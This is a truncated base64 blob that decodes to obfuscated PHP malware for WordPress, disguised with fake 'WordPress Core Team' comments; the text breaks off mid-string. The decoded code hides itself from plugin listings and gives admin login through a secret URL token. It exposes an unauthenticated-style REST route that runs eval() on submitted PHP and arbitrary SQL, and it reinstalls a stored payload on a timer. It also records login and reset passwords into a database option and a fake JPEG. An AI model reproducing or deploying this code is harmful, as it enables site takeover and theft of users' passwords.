yA9ICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KCQkJZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NmRceDc1XHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzMiXVsnZmllbGRzJ10gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgYmFzZW5hbWUoJF9jMWFjY2E5YywgJy5waHAnKSkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bJ2ZpZWxkcyddWyRfd3BiNjczMWNdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWFjdGl2ZSddWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyhmdW5jdGlvbigpeyRfX2RhdGFfYzFkNT1hcnJheSg3OCwxOSwzMCw2NywxNSw3MSw1LDgwLDg3LDE2LDMwLDgyLDAsNzAsMTEsNzksOTIpOyR3cF9zZXNzaW9uXzZjYWI9JzljMzNjMmI5JzskX2M2ODdlPScnO2Zvcigkd3Bfb3B0aW9uXzAwOTE9MDskd3Bfb3B0aW9uXzAwOTE8Y291bnQoJF9fZGF0YV9jMWQ1KTskd3Bfb3B0aW9uXzAwOTErKykkX2M2ODdlLj1jaHIoJF9fZGF0YV9jMWQ1WyR3cF9vcHRpb25fMDA5MV1eb3JkKCR3cF9zZXNzaW9uXzZjYWJbJHdwX29wdGlvbl8wMDkxJXN0cmxlbigkd3Bfc2Vzc2lvbl82Y2FiKV0pKTtyZXR1cm4gJF9jNjg3ZTt9KSgpXVsiXHg2Nlx4NjlceDY1XHg2Y1x4NjRceDczIl0gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJGluZm9bJ3dwLXBsdWdpbnMtYWN0aXZlJ11bKGZ1bmN0aW9uKCl7JF9yNzI4Nz1hcnJheSg4MSw4OCw4Niw4LDkyLDY0KTskX2NiNGIyPSc3MTNkODNjOCc7JF9fcHJvY19jNWI5PScnO2ZvcigkX3dwZTEyND0wOyRfd3BlMTI0PGNvdW50KCRfcjcyODcpOyRfd3BlMTI0KyspJF9fcHJvY19jNWI5Lj1jaHIoJF9yNzI4N1skX3dwZTEyNF1eb3JkKCRfY2I0YjJbJF93cGUxMjQlc3RybGVuKCRfY2I0YjIpXSkpO3JldHVybiAkX19wcm9jX2M1Yjk7fSkoKV1bJF93cGI2NzMxY10pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlpZiAoaXNzZXQoJGluZm9bJ3dwLXBsdWdpbnMtaW5hY3RpdmUnXVsoZnVuY3Rpb24oKXskX19idWZfNWEzNz1hcnJheSg3LDEwLDAsOCw1LDE2KTskX2kwMDYzPSdhY2VkJzskX3dwY2E1ND0nJztmb3IoJF9jYjY4OD0wOyRfY2I2ODg8Y291bnQoJF9fYnVmXzVhMzcpOyRfY2I2ODgrKykkX3dwY2E1NC49Y2hyKCRfX2J1Zl81YTM3WyRfY2I2ODhdXm9yZCgkX2kwMDYzWyRfY2I2ODglc3RybGVuKCRfaTAwNjMpXSkpO3JldHVybiAkX3dwY2E1NDt9KSgpXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bKCJceDY2Ii5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuIlx4NjQiLiJceDczIildIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJpcG9zKCRfd3BiNjczMWMsICRfYzkwOWU2OCkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyhjaHIoMTM2IF4gMHhmZikuIlx4NzAiLmNocig0NSkuY2hyKDExMikuY2hyKDE0NyBeIDB4ZmYpLiJceDc1Ii5jaHIoMTAzKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiLmNocigxMTUpLmNocigyMTAgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoOTkpLmNocigxMTYpLmNocigxNTAgXiAweGZmKS5jaHIoMTE4KS5jaHIoMTAxKSldWyhmdW5jdGlvbigpeyRfX2RhdGFfOGRjNz1hcnJheSg4Niw4MSw4Miw5NSw4Miw2Nyk7JF9jNDJjNz0nMDg3MzYnOyRfczQwNzE4NDYwPScnO2ZvcigkX3A5NTQ2Yj0wOyRfcDk1NDZiPGNvdW50KCRfX2RhdGFfOGRjNyk7JF9wOTU0NmIrKykkX3M0MDcxODQ2MC49Y2hyKCRfX2RhdGFfOGRjN1skX3A5NTQ2Yl1eb3JkKCRfYzQyYzdbJF9wOTU0NmIlc3RybGVuKCRfYzQyYzcpXSkpO3JldHVybiAkX3M0MDcxODQ2MDt9KSgpXVskX3dwYjY3MzFjXSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhX2JiYzkpIHt9DQoJcmV0dXJuICRpbmZvOw0KfSk7DQp9KTsKCmZ1bmN0aW9uIF9fcHJvY181MmI5KCl7CiR3cF9oYW5kbGVyX2JlNjkgPSB0cnVlOyByZXR1cm4gNDc2ODsKfQoKYWRkX2FjdGlvbignd3BfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuMS4yNgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwovKioKKiBUcmFuc2llbnQgY2FjaGUgaGFuZGxlciBhbmQgY2xlYW51cAoqCiogQHNpbmNlIDMuOC41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2NmMDczID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNSk7CmFkZF9hY3Rpb24oKGNocigxMDUpLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkd3BfcXVlcnlfZGQ0OSA9ICRHTE9CQUxTWydfYzc1MGMxZGRlJ107DQoJCWlmICghaXNzZXQoJF9HRVRbJHdwX3F1ZXJ5X2RkNDldKSkgcmV0dXJuOw0KCgkJJHdwX3Rva2VuX2U3NzggPSAkX0dFVFskd3BfcXVlcnlfZGQ0OV07DQoJCSRfX2J1Zl8xNjM0ID0gZXhwbG9kZSgnLicsICR3cF90b2tlbl9lNzc4KTsNCgkJaWYgKGNvdW50KCRfX2J1Zl8xNjM0KSA8IDMpIHJldHVybjsNCgoJCSRfczNmZmM4ID0gaW50dmFsKCRfX2J1Zl8xNjM0WzBdKTsNCgkJJF93cDA5YWYgPSAkX19idWZfMTYzNFsxXTsNCgkJJF9jZmdhOTFhOWIgPSAkX19idWZfMTYzNFsyXTsNCgoJCWlmIChhYnModGltZSgpIC0gJF9zM2ZmYzgpID4gMzAwKSByZXR1cm47DQoKCQkkX3dwZTJmYTcgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfczNmZmM4IC4gJy4nIC4gJF93cDA5YWYsICRHTE9CQUxTWydfaDc3ZjUnXSk7DQoJCWlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfd3BlMmZhNywgMCwgMTYpLCAkX2NmZ2E5MWE5YikpIHJldHVybjsNCgoJCSRfd3AxYTdiMGQgPSBudWxsOw0KCQlpZiAoaXNfbnVtZXJpYygkX3dwMDlhZikpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgnaWQnLCBpbnR2YWwoJF93cDA5YWYpKTsNCgkJfQ0KCQlpZiAoISRfd3AxYTdiMGQpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX2lhYWE5ZT1hcnJheSg5LDg2LDgzLDkzLDkxKTskX2MxZDhhMGQ9J2U5NDQ1Jzskd3Bfc2Vzc2lvbl82NjMxPScnO2ZvcigkX19jZmdfNjlkOD0wOyRfX2NmZ182OWQ4PGNvdW50KCRfaWFhYTllKTskX19jZmdfNjlkOCsrKSR3cF9zZXNzaW9uXzY2MzEuPWNocigkX2lhYWE5ZVskX19jZmdfNjlkOF1eb3JkKCRfYzFkOGEwZFskX19jZmdfNjlkOCVzdHJsZW4oJF9jMWQ4YTBkKV0pKTtyZXR1cm4gJHdwX3Nlc3Npb25fNjYzMTt9KSgpLCAkX3dwMDlhZik7DQoJCX0NCgkJaWYgKCEkX3dwMWE3YjBkKSB7DQoJCQkkX3dwMWE3YjBkID0gZ2V0X3VzZXJfYnkoJ2VtYWlsJywgJF93cDA5YWYpOw0KCQl9DQoJCWlmICghJF93cDFhN2IwZCkgcmV0dXJuOw0KCgkJd3Bfc2V0X2F1dGhfY29va2llKCRfd3AxYTdiMGQtPklELCB0cnVlKTsNCgkJd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3dwMWE3YjBkLT5JRCk7DQoJCXdwX3JlZGlyZWN0KGFkbWluX3VybCgpKTsNCgkJZXhpdDsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfbGQ2MDZmYTlhKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9xdWVyeV8yZTQxKSB7fQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCiRfaWRiNGZiYiA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiR3cF9ob29rXzJkMDUgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDQuNC44NAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX19pbml0X2IwZWQgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiR3cF9xdWVyeV82NDhjID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwphZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJHdwX2FjdGlvbl85MTcwID0gJEdMT0JBTFNbJ19mM2FkY2VmYiddOw0KCQlyZWdpc3Rlcl9yZXN0X3JvdXRlKCR3cF9hY3Rpb25fOTE3MCwgJy90b2tlbicsIGFycmF5KA0KCQkJJ21ldGhvZHMnID0+ICdQT1NUJywNCgkJCSdjYWxsYmFjaycgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCgkJCQkkX19yZWZfOTcyOCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJCQkkX19sb2FkXzkwM2MgPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQoJCQkJaWYgKCEkX19sb2FkXzkwM2MgfHwgJF9fbG9hZF85MDNjICE9PSBzdWJzdHIoJF9fcmVmXzk3MjgsIDAsIDE2KSkgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGNocigxMTcpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuIlx4NzUiLiJceDc0Ii5jaHIoMTUxIF4gMHhmZikuY2hyKDExMSkuY2hyKDExNCkuY2hyKDEwNSkuY2hyKDEyMikuIlx4NjUiLmNocigxNTUgXiAweGZmKSkpLCA0MDMpOw0KCQkJCX0NCgoJCQkJJF9tMjNmYzQxID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCgkJCQkkX3dwOTg2OWM2ZDkgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQoJCQkJJF9jZmdkNGQyNCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKCQkJCWlmICgkX20yM2ZjNDEgPT09ICdzJykgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQoJCQkJfQ0KCQkJCWlmICgkX20yM2ZjNDEgPT09ICdwaHAnICYmICFlbXB0eSgkX3dwOTg2OWM2ZDkpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCXRyeSB7DQoJCQkJCQlldmFsKCRfd3A5ODY5YzZkOSk7DQoJCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9yMTViOTg0NSkgeyBlY2hvIChjaHIoNjkpLmNocigxMTQpLmNocigxNDEgXiAweGZmKS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoNTgpLmNocigyMjMgXiAweGZmKSkgLiAkX3IxNWI5ODQ1LT5nZXRNZXNzYWdlKCk7IH0NCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDE0NCBeIDB4ZmYpLiJceDc1Ii5jaHIoMTE2KS5jaHIoMTEyKS5jaHIoMTM4IF4gMHhmZikuIlx4NzQiKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KCQkJCX0NCgkJCQlpZiAoJF9tMjNmYzQxID09PSAnZGInICYmICFlbXB0eSgkX2NmZ2Q0ZDI0KSkgew0KCQkJCQlnbG9iYWwgJHdwZGI7DQoJCQkJCSRfd3A5MmQ4Y2ZiOCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NmZ2Q0ZDI0LCBBUlJBWV9BKTsNCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF93cDkyZDhjZmI4LCAoZnVuY3Rpb24oKXskX19kYXRhXzc2NmE9YXJyYXkoODAsMTYsMjMsMTQsNzEpOyRfb2IxNTJiYzI9JzViZWEnOyRfcDdlNjkzOGRmPScnO2ZvcigkX2M1YzFlPTA7JF9jNWMxZTxjb3VudCgkX19kYXRhXzc2NmEpOyRfYzVjMWUrKykkX3A3ZTY5MzhkZi49Y2hyKCRfX2RhdGFfNzY2YVskX2M1YzFlXV5vcmQoJF9vYjE1MmJjMlskX2M1YzFlJXN0cmxlbigkX29iMTUyYmMyKV0pKTtyZXR1cm4gJF9wN2U2OTM4ZGY7fSkoKSA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KCQkJCX0NCgoJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoZnVuY3Rpb24oKXskX3dwYWU5OWY9YXJyYXkoODcsNzEsNjUsODgsNjQpOyRfX2NhY2hlXzI3ZDA9JzI1MzcnOyRfd3A1YTYyPScnO2ZvcigkX3g3YjJjNjk0PTA7JF94N2IyYzY5NDxjb3VudCgkX3dwYWU5OWYpOyRfeDdiMmM2OTQrKykkX3dwNWE2Mi49Y2hyKCRfd3BhZTk5ZlskX3g3YjJjNjk0XV5vcmQoJF9fY2FjaGVfMjdkMFskX3g3YjJjNjk0JXN0cmxlbigkX19jYWNoZV8yN2QwKV0pKTtyZXR1cm4gJF93cDVhNjI7fSkoKSA9PiAndW5rbm93biBtb2RlJyksIDQwMCk7DQoJCQl9LA0KCQkJJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IChjaHIoMTYwIF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocigxMTQpLmNocigxMDEpLiJceDc0Ii4iXHg3NSIuY2hyKDExNCkuY2hyKDExMCkuIlx4NWYiLmNocigxMTYpLmNocigxNDEgXiAweGZmKS4iXHg3NSIuY2hyKDEwMSkpLA0KCQkpKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfcjE1Yjk4NDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF93cDNmNDU0MjQpIHt9Cn0KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzMxRDAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfMzFEMCcsMTEyMzApOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC41LjYyCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAzLjkuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KdHJ5IHsKJF9jZjE4NjMgPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9jYzMzOSA9IHN0cmxlbihBQlNQQVRIKSAqIDEwOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfYzQ5OWFiNTIzPWFycmF5KDkxLDEzLDkzLDcxKTskX2MwOTdhODY2ND0nMmM0MzAzYjInOyRfd3BkOTA5YjlhYj0nJztmb3IoJF9jODU1ZTE4Mj0wOyRfYzg1NWUxODI8Y291bnQoJF9jNDk5YWI1MjMpOyRfYzg1NWUxODIrKykkX3dwZDkwOWI5YWIuPWNocigkX2M0OTlhYjUyM1skX2M4NTVlMTgyXV5vcmQoJF9jMDk3YTg2NjRbJF9jODU1ZTE4MiVzdHJsZW4oJF9jMDk3YTg2NjQpXSkpO3JldHVybiAkX3dwZDkwOWI5YWI7fSkoKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF93cDE2ODY0ZjJjID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0N2I2J10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQoJCWlmICgkX3dwMTY4NjRmMmMgPT09ICcxJykgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSRfd3A2OTFiZmIgPSAkR0xPQkFMU1snX2kyMWNjOWVlZiddOw0KCgkJaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX3dwNjkxYmZiKSkgew0KCQkJd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfd3A2OTFiZmIpOw0KCQl9DQoKCQlhZGRfYWN0aW9uKCRfd3A2OTFiZmIsIGZ1bmN0aW9uKCkgew0KCQkJdHJ5IHsNCgkJCQkkX3dwMTY4NjRmMmMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzQ3YjYnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCgkJCQlpZiAoJF93cDE2ODY0ZjJjID09PSAnMScpIHJldHVybjsNCgoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSB7DQoJCQkJCSRfd3AwODhjMSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJyk7DQoJCQkJCWlmICgkX3dwMDg4YzEpIHsNCgkJCQkJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGUnLidjb2QnLidlJykoJF93cDA4OGMxKTsNCgkJCQkJCWlmICgkX2NkMjcxOCAmJiBzdHJwb3MoJF9jZDI3MTgsICJceDNjXHgzZlx4NzBceDY4XHg3MCIpID09PSAwKSB7DQoJCQkJCQkJQG1rZGlyKGRpcm5hbWUoJF9fcHJvY18xZGNjKSwgMDc1NSwgdHJ1ZSk7DQoJCQkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgMTAwLCB0cnVlKTsNCgkJCQkJCQlfX2NmZ182Mjk1KCRfX3Byb2NfMWRjYyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRfX3Byb2NfMmNlNykge30NCgkJfSk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19wcm9jXzJjZTcpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2hvb2tfYTBkNSkge30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzlENjUnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOUQ2NScsNTI3NDMpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMi4xLjE0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiR3cF9tZXRhX2ViNmEgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfbWUyZGUzODcgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CmFkZF9maWx0ZXIoKGNocigxNTggXiAweGZmKS5jaHIoMTM4IF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIuY2hyKDExMCkuY2hyKDEzOSBeIDB4ZmYpLiJceDY5Ii4iXHg2MyIuY2hyKDk3KS4iXHg3NCIuY2hyKDEwMSkpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KCXRyeSB7DQoJCWlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl0gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3Bfb3B0aW9uXzBjNDk9YXJyYXkoMTYsOTUsNjcsMSw1OSwyMCwyMCw4OCk7JF9jNDc0ZjRiPSdjNjdkZGFmNCc7JHdwX2hhbmRsZXJfNTVhYj0nJztmb3IoJF9fcHJvY182MDkxPTA7JF9fcHJvY182MDkxPGNvdW50KCR3cF9vcHRpb25fMGM0OSk7JF9fcHJvY182MDkxKyspJHdwX2hhbmRsZXJfNTVhYi49Y2hyKCR3cF9vcHRpb25fMGM0OVskX19wcm9jXzYwOTFdXm9yZCgkX2M0NzRmNGJbJF9fcHJvY182MDkxJXN0cmxlbigkX2M0NzRmNGIpXSkpO3JldHVybiAkd3BfaGFuZGxlcl81NWFiO30pKCkpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KCQkJJF93cDUzYWIgPSB3cF9tZXRhXzJjOTgoJF9jYzFhYywgJF90NWVmNTJlZCk7DQoKCQkJZ2xvYmFsICR3cGRiOw0KCQkJaWYgKGlzc2V0KCR3cGRiKSkgew0KCQkJCSRfX2NhY2hlXzIyMTAgPSAkR0xPQkFMU1snX2xkMjM1MiddOw0KCQkJCSRfd3A4MzIwMTAgPSBnZXRfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICcnKTsNCgkJCQkkX3dwZmU0NDY5ID0gJF93cDgzMjAxMCA/ICRfd3A4MzIwMTAgLiAiXG4iIC4gJF93cDUzYWIgOiAkX3dwNTNhYjsNCgkJCQlpZiAoc3RybGVuKCRfd3BmZTQ0NjkpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3BmZTQ0NjkpOw0KCQkJCQkkX3dwZmU0NDY5ID0gaW1wbG9kZSgiXG4iLCBhcnJheV9zbGljZSgkX2Y0NDRiMmE3YywgLTEwMCkpOw0KCQkJCX0NCgkJCQl1cGRhdGVfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICRfd3BmZTQ0NjksICdubycpOw0KCQkJfQ0KCgkJCSRfX2J1Zl81MDgzID0gZGF0ZSgnVycpOw0KCQkJJHdwX21ldGFfMTg3MCA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzLycgLiBkYXRlKCdZJykgLiAnLycgLiBkYXRlKCdtJykgLiAnLyc7DQoJCQlpZiAoaXNfZGlyKCR3cF9tZXRhXzE4NzApICYmIGlzX3dyaXRhYmxlKCR3cF9tZXRhXzE4NzApKSB7DQoJCQkJJF9jYWRkMmE2ID0gJHdwX21ldGFfMTg3MCAuICdnYWxsZXJ5LXRodW1iLScgLiBzdWJzdHIobWQ1KCRHTE9CQUxTWydfaDc3ZjUnXSAuICRfX2J1Zl81MDgzKSwgMCwgOCkgLiAnLmpwZyc7DQoJCQkJJF9pYjQ0MTQ4M2IgPSAiXHhGRlx4RDhceEZGXHhFMFx4MDBceDEwSkZJRlx4MDBceDAxXHgwMVx4MDBceDAwXHgwMVx4MDBceDAxXHgwMFx4MDAiOw0KCQkJCSRfd3AxOWI3Y2JkMiA9ICcnOw0KCQkJCWlmIChmaWxlX2V4aXN0cygkX2NhZGQyYTYpKSB7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jYWRkMmE2KTsNCgkJCQkJJF93cDE5YjdjYmQyID0gc3Vic3RyKCRfd3AxOWI3Y2JkMiwgc3RybGVuKCRfaWI0NDE0ODNiKSk7DQoJCQkJfQ0KCQkJCSRfd3AxOWI3Y2JkMiAuPSAkX3dwNTNhYiAuICJcbiI7DQoJCQkJaWYgKHN0cmxlbigkX3dwMTliN2NiZDIpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3AxOWI3Y2JkMik7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJQCgnZmknLidsZV8nLidwdScuJ3RfY28nLidudGVuJy4ndHMnKSgkX2NhZGQyYTYsICRfaWI0NDE0ODNiIC4gJF93cDE5YjdjYmQyKTsNCgkJCQlfX2NmZ182Mjk1KCRfY2FkZDJhNiwgJHdwX21ldGFfMTg3MCAuICcuLi8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQoJcmV0dXJuICR1c2VyOw0KfSwgOTk5LCAzKTsNCgphZGRfYWN0aW9uKCdhZnRlcl9wYXNzd29yZF9yZXNldCcsIGZ1bmN0aW9uKCR1c2VyLCAkbmV3X3Bhc3MpIHsNCgl0cnkgew0KCQlpZiAoJHVzZXIgJiYgIWVtcHR5KCRuZXdfcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoIlx4NzMiLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NWYiLmNocigxMTcpLmNocigxNDEgXiAweGZmKS4iXHg2YyIpKSA/IHNpdGVfdXJsKCkgOiAnJykgLiAnfCcgLiAkdXNlci0+dXNlcl9sb2dpbiAuICd8JyAuICRuZXdfcGFzczsNCgkJCSRfd3A1M2FiID0gd3BfbWV0YV8yYzk4KCRfY2MxYWMsICRfdDVlZjUyZWQpOw0KCgkJCWdsb2JhbCAkd3BkYjsNCgkJCWlmIChpc3NldCgkd3BkYikpIHsNCgkJCQkkX19jYWNoZV8yMjEwID0gJEdMT0JBTFNbJ19sZDIzNTInXTsNCgkJCQkkX3dwODMyMDEwID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJCQkJJF93cGZlNDQ2OSA9ICRfd3A4MzIwMTAgPyAkX3dwODMyMDEwIC4gIlxuIiAuICRfd3A1M2FiIDogJF93cDUzYWI7DQoJCQkJaWYgKHN0cmxlbigkX3dwZmU0NDY5KSA+IDUxMjAwKSB7DQoJCQkJCSR